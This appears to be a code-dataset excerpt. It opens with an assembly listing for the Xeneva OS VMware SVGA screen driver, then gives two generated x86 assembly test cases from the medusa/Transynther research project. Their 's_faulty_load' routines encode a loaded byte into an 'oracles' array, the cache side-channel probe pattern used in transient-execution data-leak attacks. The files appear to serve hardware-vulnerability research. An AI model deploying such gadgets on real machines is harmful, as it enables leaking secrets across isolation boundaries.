; 49 : cmd->screenId = id;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR id$[rsp]
mov DWORD PTR [rax], ecx
; 50 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 51 : }
add rsp, 56 ; 00000038H
ret 0
?svga_screen_destroy@@YAXI@Z ENDP ; svga_screen_destroy
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
y$ = 32
x$ = 36
fb$ = 40
row$1 = 48
color$ = 80
x_$ = 88
y_$ = 96
width$ = 104
height$ = 112
?svga_paint_screen@@YAXIHHHH@Z PROC ; svga_paint_screen
; 121 : void svga_paint_screen (uint32_t color, int x_, int y_, int width, int height) {
$LN9:
mov DWORD PTR [rsp+32], r9d
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 72 ; 00000048H
; 122 : uint32_t *fb = (uint32_t*)svga_dev.fb_mem;
mov rax, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+24
mov QWORD PTR fb$[rsp], rax
; 123 : int x, y;
; 124 : static uint32_t fence = 0;
; 125 :
; 126 : for (y = 0; y < height; y++) {
mov DWORD PTR y$[rsp], 0
jmp SHORT $LN6@svga_paint
$LN5@svga_paint:
mov eax, DWORD PTR y$[rsp]
inc eax
mov DWORD PTR y$[rsp], eax
$LN6@svga_paint:
mov eax, DWORD PTR height$[rsp]
cmp DWORD PTR y$[rsp], eax
jge SHORT $LN4@svga_paint
; 127 : uint32_t *row = &fb[(y_ + y) * svga_dev.width + x_];
mov eax, DWORD PTR y$[rsp]
mov ecx, DWORD PTR y_$[rsp]
add ecx, eax
mov eax, ecx
imul eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+52
add eax, DWORD PTR x_$[rsp]
mov eax, eax
mov rcx, QWORD PTR fb$[rsp]
lea rax, QWORD PTR [rcx+rax*4]
mov QWORD PTR row$1[rsp], rax
; 128 :
; 129 : for (x = 0; x < width; x++) {
mov DWORD PTR x$[rsp], 0
jmp SHORT $LN3@svga_paint
$LN2@svga_paint:
mov eax, DWORD PTR x$[rsp]
inc eax
mov DWORD PTR x$[rsp], eax
$LN3@svga_paint:
mov eax, DWORD PTR width$[rsp]
cmp DWORD PTR x$[rsp], eax
jge SHORT $LN1@svga_paint
; 130 : row[x] = color;
movsxd rax, DWORD PTR x$[rsp]
mov rcx, QWORD PTR row$1[rsp]
mov edx, DWORD PTR color$[rsp]
mov DWORD PTR [rcx+rax*4], edx
; 131 :
; 132 : }
jmp SHORT $LN2@svga_paint
$LN1@svga_paint:
; 133 : }
jmp SHORT $LN5@svga_paint
$LN4@svga_paint:
; 134 : svga_update(x_, y_, width,height);
mov r9d, DWORD PTR height$[rsp]
mov r8d, DWORD PTR width$[rsp]
mov edx, DWORD PTR y_$[rsp]
mov ecx, DWORD PTR x_$[rsp]
call ?svga_update@@YAXIIII@Z ; svga_update
; 135 : }
add rsp, 72 ; 00000048H
ret 0
?svga_paint_screen@@YAXIHHHH@Z ENDP ; svga_paint_screen
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
cmd$ = 32
color$ = 64
?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z PROC ; svga_screen_annotate_fill
; 99 : {
$LN3:
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 100 : SVGAFifoCmdAnnotationFill *cmd = (SVGAFifoCmdAnnotationFill*)svga_fifo_reserved_cmd(SVGA_CMD_ANNOTATION_FILL,
; 101 : sizeof *cmd);
mov edx, 4
mov ecx, 39 ; 00000027H
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 102 : cmd->color = color;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR color$[rsp]
mov DWORD PTR [rax], ecx
; 103 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 104 : }
add rsp, 56 ; 00000038H
ret 0
?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z ENDP ; svga_screen_annotate_fill
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
cmd$ = 32
destOrigin$ = 80
srcRect$ = 88
srcScreen$ = 96
?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z PROC ; svga_screen_blit_to_gmrfb
; 85 : {
$LN3:
mov DWORD PTR [rsp+24], r8d
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rsi
push rdi
sub rsp, 56 ; 00000038H
; 86 : SVGAFifoCmdBlitScreenToGMRFB *cmd = (SVGAFifoCmdBlitScreenToGMRFB *)svga_fifo_reserved_cmd(SVGA_CMD_BLIT_SCREEN_TO_GMRFB,
; 87 : sizeof *cmd);
mov edx, 28
mov ecx, 38 ; 00000026H
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 88 : cmd->destOrigin = *destOrigin;
mov rax, QWORD PTR destOrigin$[rsp]
mov rax, QWORD PTR [rax]
mov rcx, QWORD PTR cmd$[rsp]
mov QWORD PTR [rcx], rax
; 89 : cmd->srcRect = *srcRect;
mov rax, QWORD PTR cmd$[rsp]
lea rdi, QWORD PTR [rax+8]
mov rsi, QWORD PTR srcRect$[rsp]
mov ecx, 16
rep movsb
; 90 : cmd->srcScreenId = srcScreen;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR srcScreen$[rsp]
mov DWORD PTR [rax+24], ecx
; 91 : svga_fifo_commit_all ();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 92 : }
add rsp, 56 ; 00000038H
pop rdi
pop rsi
ret 0
?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ENDP ; svga_screen_blit_to_gmrfb
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
cmd$ = 32
srcOrigin$ = 80
destRect$ = 88
destScreen$ = 96
?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z PROC ; svga_screen_blit_from_gmrfb
; 71 : {
$LN3:
mov DWORD PTR [rsp+24], r8d
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rsi
push rdi
sub rsp, 56 ; 00000038H
; 72 : SVGAFifoCmdBlitGMRFBToScreen *cmd = (SVGAFifoCmdBlitGMRFBToScreen*)svga_fifo_reserved_cmd(SVGA_CMD_BLIT_GMRFB_TO_SCREEN,
; 73 : sizeof(SVGAFifoCmdBlitGMRFBToScreen));
mov edx, 28
mov ecx, 37 ; 00000025H
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 74 : cmd->srcOrigin = *srcOrigin;
mov rax, QWORD PTR srcOrigin$[rsp]
mov rax, QWORD PTR [rax]
mov rcx, QWORD PTR cmd$[rsp]
mov QWORD PTR [rcx], rax
; 75 : cmd->destRect = *destRect;
mov rax, QWORD PTR cmd$[rsp]
lea rdi, QWORD PTR [rax+8]
mov rsi, QWORD PTR destRect$[rsp]
mov ecx, 16
rep movsb
; 76 : cmd->destScreenId = destScreen;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR destScreen$[rsp]
mov DWORD PTR [rax+24], ecx
; 77 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 78 : }
add rsp, 56 ; 00000038H
pop rdi
pop rsi
ret 0
?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ENDP ; svga_screen_blit_from_gmrfb
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
cmd$ = 32
ptr$ = 64
bytesPerLine$ = 72
format$ = 80
?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z PROC ; svga_screen_define_gmrfb
; 57 : {
$LN3:
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 58 : SVGAFifoCmdDefineGMRFB *cmd = (SVGAFifoCmdDefineGMRFB*)svga_fifo_reserved_cmd(SVGA_CMD_DEFINE_GMRFB, sizeof *cmd);
mov edx, 16
mov ecx, 36 ; 00000024H
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 59 : cmd->ptr = ptr;
mov rax, QWORD PTR cmd$[rsp]
mov rcx, QWORD PTR ptr$[rsp]
mov QWORD PTR [rax], rcx
; 60 : cmd->bytesPerLine = bytesPerLine;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR bytesPerLine$[rsp]
mov DWORD PTR [rax+8], ecx
; 61 : cmd->format = format;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR format$[rsp]
mov DWORD PTR [rax+12], ecx
; 62 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 63 : }
add rsp, 56 ; 00000038H
ret 0
?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z ENDP ; svga_screen_define_gmrfb
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
cmd$ = 32
screen$ = 64
?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z PROC ; svga_screen_define
; 39 : void svga_screen_define (const SVGAScreenObject *screen) {
$LN3:
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 40 : SVGAFifoCmdDefineScreen *cmd = (SVGAFifoCmdDefineScreen*)svga_fifo_reserved_cmd (SVGA_CMD_DEFINE_SCREEN,
; 41 : screen->structSize);
mov rax, QWORD PTR screen$[rsp]
mov edx, DWORD PTR [rax]
mov ecx, 34 ; 00000022H
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 42 :
; 43 : memcpy (cmd, (void*)screen, screen->structSize);
mov rax, QWORD PTR screen$[rsp]
mov r8d, DWORD PTR [rax]
mov rdx, QWORD PTR screen$[rsp]
mov rcx, QWORD PTR cmd$[rsp]
call memcpy
; 44 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 45 : }
add rsp, 56 ; 00000038H
ret 0
?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z ENDP ; svga_screen_define
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
pitch$1 = 32
size$2 = 36
screen$ = 64
?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z PROC ; svga_screen_create
; 25 : void svga_screen_create (SVGAScreenObject* screen) {
$LN5:
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 26 : if (svga_has_fifo_cap (SVGA_FIFO_CAP_SCREEN_OBJECT_2)) {
mov ecx, 512 ; 00000200H
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
je SHORT $LN2@svga_scree
; 27 : const uint32_t pitch = screen->size.width * sizeof (uint32_t);
mov rax, QWORD PTR screen$[rsp]
mov eax, DWORD PTR [rax+12]
shl rax, 2
mov DWORD PTR pitch$1[rsp], eax
; 28 : const uint32_t size = screen->size.height * pitch;
mov rax, QWORD PTR screen$[rsp]
mov eax, DWORD PTR [rax+16]
imul eax, DWORD PTR pitch$1[rsp]
mov DWORD PTR size$2[rsp], eax
; 29 : screen->structSize = sizeof (SVGAScreenObject);
mov rax, QWORD PTR screen$[rsp]
mov DWORD PTR [rax], 44 ; 0000002cH
; 30 : svga_alloc_gmr (size, &screen->backingStore.ptr);
mov rax, QWORD PTR screen$[rsp]
add rax, 28
mov rdx, rax
mov ecx, DWORD PTR size$2[rsp]
call ?svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z ; svga_alloc_gmr
; 31 : screen->backingStore.ptr.offset = 0;
mov rax, QWORD PTR screen$[rsp]
mov DWORD PTR [rax+32], 0
; 32 : screen->backingStore.pitch = pitch;
mov rax, QWORD PTR screen$[rsp]
mov ecx, DWORD PTR pitch$1[rsp]
mov DWORD PTR [rax+36], ecx
; 33 : } else {
jmp SHORT $LN1@svga_scree
$LN2@svga_scree:
; 34 : screen->structSize = offsetof (SVGAScreenObject, backingStore);
mov rax, QWORD PTR screen$[rsp]
mov DWORD PTR [rax], 28
$LN1@svga_scree:
; 35 : }
; 36 : svga_screen_define (screen);
mov rcx, QWORD PTR screen$[rsp]
call ?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z ; svga_screen_define
; 37 : }
add rsp, 56 ; 00000038H
ret 0
?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z ENDP ; svga_screen_create
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
?svga_screen_init@@YAXXZ PROC ; svga_screen_init
; 17 : void svga_screen_init () {
$LN4:
sub rsp, 40 ; 00000028H
; 18 : if (!(svga_has_fifo_cap (SVGA_FIFO_CAP_SCREEN_OBJECT) ||
; 19 : svga_has_fifo_cap (SVGA_FIFO_CAP_SCREEN_OBJECT_2))) {
mov ecx, 128 ; 00000080H
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
jne SHORT $LN1@svga_scree
mov ecx, 512 ; 00000200H
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
jne SHORT $LN1@svga_scree
; 20 : printf ("[VMware SVGA]: Virtual Device does not have screen object enabled\n");
lea rcx, OFFSET FLAT:$SG5427
call ?printf@@YAXPEBDZZ ; printf
$LN1@svga_scree:
; 21 : }
; 22 : }
add rsp, 40 ; 00000028H
ret 0
?svga_screen_init@@YAXXZ ENDP ; svga_screen_init
_TEXT ENDS
END
| 28.158879 | 133 | 0.722812 |
87494d9242d22a10d5aac379a185cc36c1940753 | 6,751 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1300.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1300.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1300.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x12e76, %rsi
lea addresses_WT_ht+0xc436, %rdi
clflush (%rsi)
clflush (%rdi)
add $26754, %rbp
mov $17, %rcx
rep movsb
nop
nop
nop
nop
xor %r14, %r14
lea addresses_normal_ht+0x12f06, %rcx
nop
nop
nop
add %rbp, %rbp
movups (%rcx), %xmm7
vpextrq $0, %xmm7, %r14
nop
cmp %r14, %r14
lea addresses_D_ht+0xf91c, %rax
nop
nop
nop
nop
nop
cmp $55728, %r13
mov (%rax), %r14
nop
nop
nop
cmp %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WT+0x1ba76, %r8
clflush (%r8)
nop
nop
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %r12
movq %r12, %xmm6
vmovups %ymm6, (%r8)
nop
nop
nop
nop
nop
xor %rdx, %rdx
// Store
lea addresses_D+0xd8ae, %r9
nop
nop
nop
sub $4409, %rbp
movw $0x5152, (%r9)
nop
nop
lfence
// Store
lea addresses_A+0x129f6, %r9
nop
nop
nop
nop
sub $49623, %rsi
movb $0x51, (%r9)
nop
nop
nop
nop
nop
dec %rbx
// REPMOV
lea addresses_WT+0x14df6, %rsi
lea addresses_normal+0x7bc2, %rdi
nop
nop
nop
nop
xor $42888, %r8
mov $125, %rcx
rep movsl
nop
nop
nop
cmp $62885, %r9
// Store
lea addresses_WT+0x2af6, %r9
nop
nop
nop
nop
nop
and %r12, %r12
movl $0x51525354, (%r9)
nop
nop
inc %rbp
// Store
lea addresses_WT+0x1c216, %r12
clflush (%r12)
nop
nop
nop
inc %rdx
movl $0x51525354, (%r12)
xor %rbp, %rbp
// Store
lea addresses_WT+0xc8f6, %r9
nop
nop
nop
nop
xor %r12, %r12
mov $0x5152535455565758, %r8
movq %r8, (%r9)
nop
nop
inc %r12
// Store
lea addresses_A+0x18206, %rdx
nop
dec %rcx
movl $0x51525354, (%rdx)
nop
nop
nop
nop
cmp $50992, %rbp
// Faulty Load
lea addresses_D+0x11e76, %rbx
nop
inc %r12
movntdqa (%rbx), %xmm1
vpextrq $0, %xmm1, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_WT', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}}
[Faulty Load]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 1}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 31.84434 | 2,999 | 0.653681 |
fcc7ddc5e0496a5f651d7c568ecefa9a099b9d1a | 5,785 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_3130.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_3130.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_3130.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x8f8f, %rsi
lea addresses_normal_ht+0x1ebcf, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $80, %rcx
rep movsq
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x109cf, %rcx
nop
nop
xor $23277, %r14
mov $0x6162636465666768, %rax
movq %rax, (%rcx)
dec %rsi
lea addresses_D_ht+0x177cf, %rsi
nop
nop
nop
nop
nop
inc %r8
mov $0x6162636465666768, %r11
movq %r11, (%rsi)
nop
nop
cmp %r8, %r8
lea addresses_A_ht+0x145cf, %rsi
lea addresses_D_ht+0x1576f, %rdi
nop
sub $47484, %r13
mov $88, %rcx
rep movsl
nop
nop
nop
nop
and %r11, %r11
lea addresses_WT_ht+0x1668b, %r11
and %rsi, %rsi
movw $0x6162, (%r11)
nop
nop
nop
nop
and $61399, %rcx
lea addresses_D_ht+0x102cf, %r8
cmp $18972, %r11
movw $0x6162, (%r8)
nop
nop
add %r8, %r8
lea addresses_WC_ht+0x1bcf, %r8
mfence
mov (%r8), %r14d
nop
nop
cmp %r14, %r14
lea addresses_WT_ht+0x27cf, %rax
inc %r11
mov (%rax), %r13
nop
inc %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %rax
push %rcx
push %rdx
// Faulty Load
lea addresses_WT+0x67cf, %rcx
nop
nop
nop
sub $20230, %rax
mov (%rcx), %edx
lea oracles, %r13
and $0xff, %rdx
shlq $12, %rdx
mov (%r13,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rax
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
